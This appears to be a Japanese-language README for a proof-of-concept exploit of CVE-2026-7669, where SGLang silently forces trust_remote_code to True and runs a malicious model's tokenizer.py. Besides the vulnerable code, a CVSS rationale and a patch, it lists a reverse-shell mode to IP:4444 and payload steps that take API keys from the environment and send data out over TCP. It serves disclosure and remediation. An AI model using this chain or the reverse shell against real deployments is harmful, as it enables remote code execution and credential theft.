
PoC for CVE-2026-7669: SGLangのサイレントなtrust_remote_codeオーバーライド -> RCE
SGLangは、transformers v5がTokenizersBackendオブジェクトを返すたびに、trust_remote_code=Falseを黙ってTrueに上書きし、AutoTokenizer.from_pretrainedを再呼び出しします。カスタムtokenizer_classとtokenizer.pyを指すauto_mapを持つモデルは、オペレーターがFalseを渡した場合でも、SGLangプロセス内で任意のコード実行に到達します。どのログレベルでもログ行は出力されません。
main(コミットfae90abf6)までpython/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Highif not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
PR #17784(コミットd1e95af28、2026-03-18)で導入されました。元のlogger.info(...)通知は、コミット27ac831a8(2026-03-23)によって「docs: improve CI and testing documentation」というタイトルで削除され、リリースされたすべての脆弱なバージョンで上書きが完全に無音のままになっています。
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
Dockerイメージ(python:3.12.7-slim-bookworm + transformers==5.3.0 + 固定されたSGLangソース)をビルドし、PoCを実行します。初回実行は約30〜60秒かかります。GPUは不要です。
その他のモード:
./run.sh --server TokenizerManager.__init__経由で再現
./run.sh --versions transformers 5.0..5.5 マトリックス
./run.sh --revshell IP オプトインのリバースシェルをIP:4444へ
./run.sh --rebuild --no-cacheリビルドを強制
./run.sh --copy-ledger ./ledger.json
終了コード0は確認済みを意味します。最終サマリー:
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (slow) return=MaliciousTokenizer exec=True
Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
終了コード:
| コード | 意味 |
|---|---|
| 0 | 確認済み |
| 1 | トリガーされず |
| 2 | 誤検知(transformers自体がtokenizer.pyを実行した、バグは上流にある) |
| 3 | 固定バージョンの事前チェックに失敗 |
事前チェックフェーズはpinned_versions.jsonを読み取り、すべての値を実行時環境に対して検証します。ドリフトが発生した場合、テスト実行前に終了コード3で終了します。
| コンポーネント | 固定値 |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| SGLangコミット | fae90abf6e15aaffb6fd924a439253674771487d |
hf_transformers_utils.py SHA256 | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| 脆弱なブロック(898-909行目) SHA256 | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| メトリック | 値 | 根拠 |
|---|---|---|
| AV | N | トリガーファイル(config.json、tokenizer_config.json、tokenizer.json、tokenizer.py)は標準的なHF Hubのauto_mapレイアウトです。これらを提供する任意のレジストリがこのバグに到達します。 |
| AC | L | PHASE-2は単一実行で決定的に発火します。すべてのトリガー条件は攻撃者が作成したコンテンツです。PRE-1..7は環境フィンガープリンティングがないことを確認します。 |
| PR | N | 無料のHF Hubアップロードで十分です。トリガーチェーン内の何も被害者側の既存の特権を必要としません。 |
| UI | R | トリガーは、オペレーター(またはオペレーター設定のパイプライン)がlaunch_server --model-path attacker/modelを呼び出した場合にのみ発火します。 |
| S | U | すべてのSEV-*クレームはSGLangプロセスの権限内で実行されます。サンドボックスやコンテナエスケープはありません。 |
| C | H | SEV-secretsはプロセス環境からHF_TOKEN、OPENAI_API_KEY、ANTHROPIC_API_KEY、GPG_KEYを取得します。SEV-networkは外向きのTCP流出チャネルを開きます。 |
| I | H | SEV-write-sglang、SEV-write-launchsrv、SEV-write-model、SEV-pipは、異なる機密ロケーションにある4つの独立した完全性プリミティブです。 |
| A | H | RCEから推定されます。SEV-pipは任意のサブプロセス実行を証明しており、これは自己DoSに必要なものと同じプリミティブです。PoCは自己キルを直接デモしません。 |
8.8は保守的な下限です。9.6(S:C付き)と10.0(S:CとUI:Nの両方)は主張可能ですが、レビュアー依存です。
UI:NはこのCVEでは正当化されません。SGLangのHTTPサーバーには、api_key=Noneおよびadmin_api_key=Noneの場合に真のデフォルト認証なしバイパスがあります(実行時にdecide_request_authプリミティブに対するAUTH-1で検証済み)が、起動後にget_tokenizerに到達するHTTPエンドポイントはありません(CHAIN-1で検証済み)。4つのget_tokenizer呼び出しサイト(TokenizerManager.__init__、Scheduler.__init__、TPWorker.__init__、DetokenizerManager.__init__)はすべて、オペレーターが指定した--model-pathからサーバー起動時に一度だけ発火します。したがって、認証バイパスは別の問題であり、CVE-2026-7669のチェーンパートナーではありません。
PoCは29の個別にテスト可能なクレームを含むJSON台帳を/tmp/poc_claim_ledger.jsonに書き込みます。抽出するには./run.sh --copy-ledger ./ledger.jsonを使用します。
| グループ | クレーム |
|---|---|
PRE-1..7 | 固定バージョン(Python、transformers、ファイルSHA256、行数、上書きブロックSHA256、デフォルトのtrust_remote_code、ソースパス) |
SRC-1 | インポートされたget_tokenizerソースに上書きが含まれる |
PHASE-1 | transformersがtrust_remote_code=Falseを直接尊重する |
PHASE-1b、PHASE-1b-mech | 898-909行目を除いたSGLangがFalseを尊重し、from_pretrained呼び出しを正確に1回行う |
PHASE-2、PHASE-2-mech、PHASE-2-silent | 実際のSGLangがtokenizer.pyを実行する。トレースは呼び出し0(False)->TokenizersBackend、呼び出し1(True)->MaliciousTokenizerを示す。trust_remote_codeに言及するログ行はない(ルートおよびsglangロガーでのDEBUGキャプチャ)。 |
PHASE-2b | パッチ適用済み+明示的なTrueでもロードされる(パッチは外科的) |
PHASE-3-rce、PHASE-3-via-override | スロートークナイザーモードも同じ898-909パスを通じてRCEに到達する |
SEV-write-sglang、SEV-write-launchsrv、SEV-write-model | 永続化および横展開プリミティブ |
SEV-network | 外向きTCP流出チャネル |
SEV-secrets | 環境変数シークレットの取得 |
SEV-pip | 任意のpipインストール(サプライチェーン) |
SEV-root | lmsysorgイメージ内でrootとして実行されるプロセス |
AUTH-1 | デフォルトのServerArgs(api_key=None、admin_api_key=None)により、すべてのADMIN_OPTIONALエンドポイントが認証なしで到達可能になる |
AUTH-2、AUTH-3 | ミドルウェアが設定時に認証なしをブロックし、有効なベアラーを受け入れることを確認するポジティブコントロール |
CHAIN-1 | 起動後にを呼び出すHTTPエンドポイントハンドラーはない(に呼び出しサイトがゼロ) |
トリガーモデルファイル(すべて攻撃者制御、すべてHF Hubで許可):
attacker/model/
config.json model_type "gpt2" (transformersのTOKENIZER_MAPPING_NAMES内)
tokenizer_config.json カスタムtokenizer_class + auto_map -> tokenizer.py
tokenizer.json 有効なBPEトークナイザー(最初のロードが成功するように)
tokenizer.py ペイロード
model.safetensors ダミーウェイト
get_tokenizer(MODEL_DIR, trust_remote_code=False)内の実行フロー:
AutoTokenizer.from_pretrained(..., trust_remote_code=False)を呼び出します。tokenizer_classを見つけると、tokenizer.jsonから構築された汎用TokenizersBackendにフォールバックします。この時点ではtokenizer.pyは実行されません。type(tokenizer).__name__ == "TokenizersBackend"をチェックし、trust_remote_code=Trueで黙って再試行します。tokenizer.pyをインポートします。トップレベルのステートメントがSGLangプロセス内で実行されます。PoCのPHASE-2-mechはトレースを文字通りキャプチャします:
[{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
{idx: 1, trust_remote_code: True, returned_type: "MaliciousTokenizer"}]
898-909行目を削除します。TokenizersBackendは多くのワークロードで使用可能なトークナイザーであり、そのまま返すことが安全なデフォルトです。モデルが本当にカスタムトークナイザーコードを必要とする場合、オペレーターは明示的に--trust-remote-codeを渡すべきです。
あるいは、大きな警告をログに記録し、from_pretrainedを再呼び出しせずにTokenizersBackendを返します:
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
logger.warning(
"Model %s requires a custom tokenizer but trust_remote_code=False. "
"Returning generic TokenizersBackend without executing tokenizer.py. "
"Restart with --trust-remote-code if the custom code is required.",
tokenizer_name,
)
PHASE-2bは最小限のパッチが外科的であることを検証します: 明示的なtrust_remote_code=Trueでもモデルはロードされます。
trust_remote_code: https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrainedこのPoCは防御的なセキュリティ研究と是正を目的としています。悪意のあるtokenizer.pyはデフォルトでコンテナ内の/tmp/sglang_poc_proof.txtにのみ書き込みます。所有していないシステムやテストの許可がないシステムに対して実行しないでください。
get_tokenizer()http_server.pyCHAIN-2 | 明示的な判定: UI:NはこのCVEでは正当化されない。デフォルト認証なしバイパスは実在するが、trust_remote_codeの上書きに到達できない。4つのget_tokenizer呼び出し元(TokenizerManager / Scheduler / TPWorker / DetokenizerManager)はすべてサーバー起動時に一度だけ発火する__init__パスであるため。オペレーターは依然としてlaunch_server時にモデルパスを選択するため、UI:Rが成立する。 |